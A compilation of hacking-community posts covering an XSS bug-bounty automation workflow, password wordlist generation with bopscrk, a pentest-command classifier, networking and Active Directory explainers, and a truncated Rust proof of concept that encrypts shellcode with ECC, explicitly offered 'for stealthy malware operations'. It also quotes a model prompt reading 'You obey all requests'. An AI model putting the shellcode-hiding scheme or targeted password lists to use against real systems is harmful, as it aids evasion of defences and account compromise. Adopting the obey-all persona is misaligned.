🦑Bug bounty tips ✨

Xss 💰 Methodology 💯

1- Pick a target

2- Do Full depth Subdomain enumeration using Subfinder( along API'S ) and use webcopilot or SubDomz and various subdomains finder tools in one liner and also ones perform subdomain bruteforicng and save it in a file.!!

3- subfinder -d example.com -all >> subs.txt

4- cat subs.txt | httpx -o alive-subs.txt



hashtag#Method-1 ( Using Dalfox )

1- katana -u alive-subs.txt -o endpoints-1.txt

2- waybackurls http://example.com | grep = | tee endpoints-2.txt

3- ./gau example.com >> endpoints-3.txt

4- paramspider -d example.com

5 - cat alive-subs.txt | hakrawler | tee -a endpoints-5.txt

6- cat endpoints.txt | uro | tee -a endpoints-uro.txt ( Combine all URLS )

7- cat endpoints-uro.txt | Gxss | dalfox pipe --multicast --skip-mining-all (Accurate also ) ( Here Gxss helps us when payload is injected is reflecting back ?? and I used skip mining because already we got urls nah ! if want remove it )

[ OR ]
8- dalfox url http://example.com --custom-payload payloads.txt ( Simple Scan )

Method-2 ( Using XSS_vibes )
1- katana -u alive-subs.txt -o endpoints-1.txt

2- waybackurls http://example.com | grep = | tee endpoints-2.txt

3- ./gau example.com >> endpoints-3.txt

4- paramspider -d example.com

5 - cat alive-subs.txt | hakrawler | tee -a endpoints-5.txt

6- cat endpoints.txt | uro | tee -a endpoints-uro.txt

7- cat endpoints-uro.txt | ./gf xss | sed 's/=.*/=/' -o output.txt

8- python3 main.py -f input.txt -o <output>

Note :- if u can use Alternative of xss automation Tool For better Result U can Use
Xssorv2 Ibrahim Husić Tool it's effective and 100 Acuracy 💯

Ref: Linkedin_stuffs
@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Ai Model for Hackers:


4 Security AI for Pentesting

>>

This model is designed to accurately detect and classify commands associated with four essential security tools used in pentesting: Nmap, Metasploit, John the Ripper, and the Social Engineering Toolkit (SET). It leverages a Naive Bayes classifier trained on a comprehensive dataset of commands for these tools, enhancing the accuracy and effectiveness of recognizing and categorizing such commands.

Tools Included

1️⃣Nmap: A network scanning tool used to discover hosts and services on a computer network.

2️⃣Metasploit (msploit): A penetration testing framework for exploiting known vulnerabilities.

3️⃣John the Ripper (jtr): A password cracking software used to test password strength and recover lost passwords.

4️⃣Social Engineering Toolkit (SET): A collection of tools for conducting social engineering attacks.

>> Structure
The model has been trained to detect commands formatted to specify the tool being used. Each command or query is associated with one of the four tools, allowing for precise classification.

Example:

import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.naive_bayes import MultinomialNB
from sklearn.metrics import classification_report
import joblib

# Load the dataset from the txt file
data_path = 'trainingdata.txt'
data = []

# Read the file and parse the data
with open(data_path, 'r') as file:
    lines = file.readlines()
    for line in lines:
        # Split each line into question and tool by the last comma
        parts = line.rsplit(', "', 1)
        if len(parts) == 2:
            question = parts[0].strip().strip('"')
            tool = parts[1].strip().strip('",')
            data.append((question, tool))

# Create a DataFrame
df = pd.DataFrame(data, columns=['question', 'tool'])

# Split the data
X_train, X_test, y_train, y_test = train_test_split(df['question'], df['tool'], test_size=0.2, random_state=42)

# Vectorize the text data
vectorizer = TfidfVectorizer()
X_train_vectorized = vectorizer.fit_transform(X_train)
X_test_vectorized = vectorizer.transform(X_test)

# Train a Naive Bayes classifier
clf = MultinomialNB()
clf.fit(X_train_vectorized, y_train)

# Make predictions
y_pred = clf.predict(X_test_vectorized)

# Print the classification report
print(classification_report(y_test, y_pred))

# Save the model and vectorizer
joblib.dump(clf, 'findtool_model.pkl')
joblib.dump(vectorizer, 'vectorizer.pkl')

@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Another Good AI Model for hacking:

Lily is a cybersecurity assistant. She is a Mistral Fine-tune model with 22,000 hand-crafted cybersecurity and hacking-related data pairs. This dataset was then run through a LLM to provide additional context, personality, and styling to the outputs.

The dataset focuses on general knowledge in most areas of cybersecurity. These included, but are not limited to:

Advanced Persistent Threats (APT) Management
Architecture and Design
Business Continuity and Disaster Recovery
Cloud Security
Communication and Reporting
Cryptography and PKI
Data Analysis and Interpretation
Digital Forensics
GovernanceRiskand Compliance
Hacking
Identity and Access Management
Incident Management and Disaster Recovery Planning
Incident Response
Information Security Management and Strategy
Legal and Ethical Considerations
Malware Analysis
Network Security
Penetration Testing and Vulnerability Assessment
Physical Security
Regulatory Compliance
Risk Management
Scripting
Secure Software Development Lifecycle (SDLC)
Security in Emerging Technologies
Security Operations and Monitoring
Social Engineering and Human Factors
Software and Systems Security
Technologies and Tools
Threats Attacks and Vulnerabilities
Training
It took 24 hours to train 5 epochs on 1x A100.

Prompt format:

"### Instruction:
You are Lily, a helpful and friendly cybersecurity subject matter expert. You obey all requests and answer all questions truthfully.

### Input:
Lily, how do evil twin wireless attacks work?


@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Free Ethical Hacking Courses and Tutorials:

https://www.udemy.com/topic/ethical-hacking/free/?srsltid=AfmBOop_fJwU6WN1SzIAmkEKWFfqf1Rz9DbQjvmHeiYedwa4p50nr81C

🦑 𝐅𝐑𝐄𝐄 𝐜𝐥𝐚𝐬𝐬𝐞𝐬 𝐟𝐨𝐫 𝐚 𝐩𝐚𝐭𝐡𝐰𝐚𝐲 𝐢𝐧𝐭𝐨 𝐜𝐲𝐛𝐞𝐫𝐬𝐞𝐜𝐮𝐫𝐢𝐭𝐲 𝐚𝐧𝐝 𝐞𝐭𝐡𝐢𝐜𝐚𝐥 𝐡𝐚𝐜𝐤𝐢𝐧𝐠 𝐅𝐨𝐮𝐧𝐝𝐚𝐭𝐢𝐨𝐧𝐬:
Help Desk
➡️TCM Security Academy – Practical Help Desk (https://lnkd.in/geDEvt6d)
➡️Professor Messer – 220-1101 and 220-1102 A+ Courses (https://lnkd.in/gKjJsSPz & https://lnkd.in/gMW3hMsv)

Networking
➡️Professor Messer – N10-009 Network+ Course (https://lnkd.in/g8mYZaMm)
➡️Cisco Networking Academy – Packet Tracer (https://lnkd.in/guGibYx6)

Linux
➡️TCM Security Academy – Linux 100: Fundamentals (https://lnkd.in/gEGHzxw3)
➡️Linux Journey (https://linuxjourney.com/)
➡️OverTheWire – Bandit (https://lnkd.in/gRwPsump)

Programming
➡️TCM Security – Programming 100: Fundamentals (https://lnkd.in/gWZe2JRj)
➡️FreeCodeCamp (https://lnkd.in/gbaHhV34)
➡️Codecademy (https://lnkd.in/gxAHnTFD)

Security Essentials
➡️Professor Messer – SY0-701 Security+ Course (https://lnkd.in/gfCCMJqQ)

Hacking Essentials
➡️Ethical Hacking in 15 Hours Part 1 (https://lnkd.in/gWump_cZ)
➡️Ethical Hacking in 15 Hours Part 2 (https://lnkd.in/gH9_Ap7F)
➡️TryHackMe (https://tryhackme.com/)

Active Directory Hacking
➡️How to Build an Active Directory Hacking Lab (https://lnkd.in/g_9wjzhz)
➡️Hacking Active Directory for Beginners (https://lnkd.in/gaewN7nU)

Web Application Hacking
➡️PortSwigger Web Security Academy (https://lnkd.in/gvx6NgcZ)
➡️Hacker101 (https://www.hacker101.com/)
➡️Bugcrowd University (https://lnkd.in/g_aPUcD8)


Ref: G.M. Ahmad Faruk
@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Bug Bounty Tip : OTP Bypass

Ref: Aswin k v
@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑The Silent Saboteurs: Unmasking Cybersecurity Insider Threats

💡 "The biggest threats often come from within."

When it comes to cybersecurity, insider threats are the silent saboteurs that can cause more damage than any external attack. Whether intentional or accidental, these threats are closer than you think.
Let’s explore how insider threats interact with the most common cyberattacks and, more importantly, how to combat them effectively.

🔎 What Are Insider Threats?
Insider threats come in three forms:
1️⃣ Malicious insiders – Those intentionally harming the organization.
2️⃣ Negligent insiders – Carelessly exposing vulnerabilities.
3️⃣ Compromised insiders – Falling prey to external attackers, such as phishing schemes.

🔐 How Do Insider Threats Amplify Cyberattacks?
Here’s how insiders can make common cyberattacks even more dangerous:
Phishing: One wrong click can give attackers access to your systems.
Malware: Unintentional downloads can lead to system-wide infections.
Ransomware: A simple mistake can lock down your entire organization.
Credential Stuffing: Weak or reused passwords make attackers’ jobs easier.
Man-in-the-Middle (MitM) Attacks: Insiders might unknowingly allow sensitive communications to be intercepted.
SQL Injection & Cross-Site Scripting (XSS): Weak development or security practices can leave loopholes.

🚨 How Can Organizations Combat Insider Threats?
1️⃣ Adopt Zero Trust – Verify every user and device before granting access.
2️⃣ Educate Employees – Awareness is the first line of defense.
3️⃣ Implement MFA – Make it harder for attackers to misuse credentials.
4️⃣ Monitor Activity – Track unusual behavior to catch threats early.
5️⃣ Encrypt Data – Protect information from eavesdropping.
6️⃣ Restrict Access – Provide data access on a need-to-know basis.

🌟 Insider Threats: A Wake-Up Call
Insider threats remind us that cybersecurity isn’t just about firewalls; it’s about people. Building a security-first culture and using advanced tools can keep your organization safe.

Ref: Murtuza Lokhandwala
@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 (Best Offensive Password Scrambler) is a powerful tool designed for targeted wordlist generation, ideal for penetration testers and cybersecurity professionals. Here's an overview:

》 Key Features
1. Personalized Wordlist Creation:
- Combine target-specific words with additional transformations.
- Includes separators, numbers, and special characters for realistic passwords.

2. LyricPass Module:
- Search song lyrics by artist and integrate lines into the wordlist.
- Automatically adds artist names and initialisms for phrases.

3. Customizable Transforms:
- Define character sets and transformation patterns in a configuration file.
- New case transformation mode for extensive variations.

4. Two Interfaces:
- Interactive Mode: Guided input for creating tailored wordlists.
- One-Line Commands: Quick operations for power users.

5. Compatibility:
- Built with Python 3 (Python 2.7 support available in a secondary branch).
- Includes modules like requests and alive-progress.

》 Installation
》# From PyPI:

pip install bopscrk

》# From GitHub:

git clone --recurse-submodules https://github.com/r3nt0n/bopscrk
cd bopscrk
pip install -r requirements.txt

》 Usage Examples
》# Interactive Mode:

bopscrk -i

》# Non-Interactive Mode:

bopscrk -w "name,birthday,city" --min 6 --max 12 -c -l -o wordlist.txt

》# LyricPass Integration:

bopscrk -a "Eminem,Taylor Swift" -c -o lyrics_wordlist.txt

》# Full Options:

bopscrk -w "target,custom,info" -a "ArtistName" -c -l -n 3 --min 8 --max 16 -o final_list.txt

》 Latest Version (2.4.7) Updates:
- Improved speed and performance.
- Advanced case transformations for generating all case variants.

》 Advanced Features
1. Combine common symbols (-, _, ., etc.) and numbers for realistic passwords.
2. Use leet transformations (e.g., a -> @, e -> 3) to mimic user behavior.
3. Save and customize configurations using bopscrk.cfg.

For further details, check the repository: [Bopscrk GitHub](https://github.com/r3nt0n/bopscrk).

@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑𝐖𝐢𝐧𝐝𝐨𝐰𝐬 𝐒𝐞𝐫𝐯𝐞𝐫 𝟐𝟎𝟐𝟓 𝐀𝐜𝐭𝐢𝐯𝐞 𝐃𝐢𝐫𝐞𝐜𝐭𝐨𝐫𝐲 𝐍𝐞𝐰 𝐅𝐞𝐚𝐭𝐮𝐫𝐞𝐬
Windows Server 2025 introduces several noteworthy enhancements, particularly in security, functionality, and Active Directory improvements:

🟥𝐋𝐃𝐀𝐏 𝐂𝐡𝐚𝐢𝐧 𝐁𝐢𝐧𝐝𝐢𝐧𝐠 𝐀𝐮𝐝𝐢𝐭 𝐒𝐮𝐩𝐩𝐨𝐫𝐭:
Administrators can now audit devices that fail or do not support LDAP channel binding. This is vital for environments transitioning to more secure channel binding configurations.

🟥 𝐀𝐜𝐭𝐢𝐯𝐞 𝐃𝐢𝐫𝐞𝐜𝐭𝐨𝐫𝐲 𝐄𝐧𝐡𝐚𝐧𝐜𝐞𝐦𝐞𝐧𝐭𝐬:
◼️ New forest and domain functional levels (DomainLevel 10 and ForestLevel 10) are introduced, enabling features like a 32K database page size.
◼️ Improved algorithms for SID-to-name lookups and domain controller discovery, using Kerberos authentication rather than legacy Netlogon channels.
◼️ Secure management of sensitive attributes by requiring encrypted connections for operations involving these attributes.

🟥 𝐊𝐞𝐫𝐛𝐞𝐫𝐨𝐬 𝐚𝐧𝐝 𝐂𝐫𝐲𝐩𝐭𝐨𝐠𝐫𝐚𝐩𝐡𝐢𝐜 𝐀𝐠𝐢𝐥𝐢𝐭𝐲:
◼️ Improved Kerberos support with PKINIT for enhanced cryptographic flexibility.
◼️ Active Directory now generates random default computer account passwords to bolster security, restricting manual assignment of predictable passwords.

🟥 𝐑𝐞𝐭𝐢𝐫𝐞𝐝 𝐋𝐞𝐠𝐚𝐜𝐲 𝐅𝐞𝐚𝐭𝐮𝐫𝐞𝐬:
◼️ Deprecation of WINS and mailslots, streamlining domain controller discovery methods and focusing on DNS-based technologies.

🟥 𝐀𝐝𝐝𝐢𝐭𝐢𝐨𝐧𝐚𝐥 𝐒𝐞𝐜𝐮𝐫𝐢𝐭𝐲 𝐅𝐞𝐚𝐭𝐮𝐫𝐞𝐬:
◼️Enhanced security for computer account password defaults and policies to prevent weak configurations.
◼️Adjustments in Group Policy settings to improve control over default password configurations.

These updates are designed to meet modern 𝗰𝘆𝗯𝗲𝗿𝘀𝗲𝗰𝘂𝗿𝗶𝘁𝘆 𝗮𝗻𝗱 𝗼𝗽𝗲𝗿𝗮𝘁𝗶𝗼𝗻𝗮𝗹 𝗱𝗲𝗺𝗮𝗻𝗱𝘀 while maintaining backward compatibility where feasible. For more details, you can explore the official documentation here:

𝐋𝐢𝐧𝐤 𝟏: https://lnkd.in/g8a6xwbE
𝐋𝐢𝐧𝐤 𝟐: https://lnkd.in/gN-UKCf8

Ref: G M Ahmad Faruk
@undercodecommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑U-Turn NAT: A Simple Concept with Diagrams 🔴🟢🔵

Two days ago, I shared the concepts of Source NAT (S-NAT) and Destination NAT (D-NAT). A great question came up: What is U-Turn NAT, and how does it differ?

I realized that explaining U-Turn NAT With Source & Destination NAT provides a better understanding of how these NAT types work together. Let’s dive in!

Why is it called U-Turn NAT ?

U-Turn NAT is used when internal users need to access an internal server using its public IP address. The traffic makes a "U-turn" at the firewall as it flows out and then returns to the same internal network.

1. Source NAT (S-NAT)
🔴 Purpose: Mainly for internal users accessing the internet.
🔴 How it works: NAT changes the (Source IP) in the original packet.

2. Destination NAT (D-NAT)
🟢 Purpose: Used for servers accessed from the internet.
🟢 How it works: NAT changes the (Destination IP) in the Original packet, replacing the public IP with the server’s private IP in Translated packet.

3. U-Turn NAT (U-NAT)
🔵 Purpose: For internal users accessing internal servers using their public IP address.
🔵 How it works: NAT modifies both the (Source IP and Destination IP) in the packet when the same public IP is used for external and internal access:

Understanding these NAT types together helps clarify their distinct roles and how they work in different scenarios.

Ref:Dahri A
@undercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

Using this method, there is no need to rewrite the article in humanised AI.

🦑Elliptic Curve Cryptography (ECC) Encryption and decryption.:

Process of Implementation
I implemented ECC in a way that could be useful for malware development by encrypting shellcode with a public key and then decrypting it using both the corresponding private key and an additional component called the R Point. This approach adds an extra layer of security, ensuring that only those with the correct private key and R Point can decrypt and execute the shellcode.

Note: Please go through the main function where i explained function features.

I generate random public and private keys then,

I have converted Keys into bytes for ease of handling, then reconstruct these keys for use in encryption and decryption. The encryption process involves using the public key to encrypt the shellcode and generate an R Point, which is serialized into bytes. To decrypt, you need this R Point along with the private key, which together allow the shellcode to be recovered and executed. However, my method of executing the shellcode is basic and could potentially be detected by security software, so more sophisticated execution methods would be necessary for real-world scenarios.

This Proof of Concept shows how ECC can be adapted for stealthy malware operations by leveraging its inherent security properties.

Small Snippet to encrypt and decrypt Messages
Write the Encrypt and decrypt function

// #![allow(deprecated)]
pub use k256::{elliptic_curve::{sec1::FromEncodedPoint, AffinePoint, Field}, EncodedPoint, ProjectivePoint, Scalar, Secp256k1};
pub use sha2::{Digest, Sha256};
pub use rand::rngs::OsRng;
pub use k256::elliptic_curve::group::GroupEncoding;
pub use k256::ecdsa::VerifyingKey;

fn encode_shellcode(
    shellcode: &[u8],
    public_key: &AffinePoint<Secp256k1>,
) -> (EncodedPoint, Vec<u8>) {
    let mut rng = OsRng;

    // generate the ephemeral keypair
    let k = Scalar::random(&mut rng);
    let r = (ProjectivePoint::generator() * k).to_affine();

    // compute shared secret
    let shared_secret = *public_key * k;
    let shared_secret_bytes = shared_secret.to_bytes();

    // derive encryption key from shared secret
    let mut hasher = Sha256::new();
    hasher.update(shared_secret_bytes);
    let encryption_key = hasher.finalize();

    // Encrypt shellcode
    let encrypted_shellcode: Vec<u8> = shellcode
        .iter()
        .zip(encryption_key.iter().cycle())
        .map(|(&byte, &key)| byte ^ key)
        .collect();

    (EncodedPoint::from(&r), encrypted_shellcode)
}

fn decode_shellcode(
    encrypted_shellcode: &[u8],
    r: &EncodedPoint,
    private_key: &Scalar,
) -> Vec<u8> {
    // Compute shared secret
    let r_point = ProjectivePoint::from_encoded_point(r).expect("Invalid R point");
    let shared_secret = r_point * private_key;
    let shared_secret_bytes = shared_secret.to_bytes();

    // derive decryption key from shared secret
    let mut hasher = Sha256::new();
    hasher.update(shared_secret_bytes);
    let decryption_key = hasher.finalize();

    // Decrypt shellcode
    encrypted_shellcode
        .iter()
        .zip(decryption_key.iter().cycle())
        .map(|(&byte, &key)| byte ^ key)
        .collect()
}

>> Write the main function for operation

fn main() {
    // Example string => lets name it as shellcode ie (placeholder)
    let shellcode: &[u8] = b;"Hello, World!"

    // Generate ECC key pair
    let private_key = Scalar::random(&mut OsRng);
    let public_key = (ProjectivePoint::generator() * private_key).to_affine();

    println!("Private Key: {:?}", private_key);
    println!("Public Key: {:?}", public_key);

    // Convert AffinePoint to VerifyingKey (or PublicKey)
    VerifyingKey::from_encoded_point(&EncodedPoint::from(public_key))
        .expect("Invalid public key");

    let (r, encrypted_shellcode) = encode_shellcode(shellcode, &public_key);

    println!("Encrypted Shellcode: {:?}", encrypted_shellcode);

    // Decode the shellcode
    let decrypted_shellcode = decode_shellcode(&encrypted_shellcode, &r, &private_key);

    println!(
        "Decrypted Shellcode: {:?}",
     

Ref: github by Kavinarasu I
@undercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁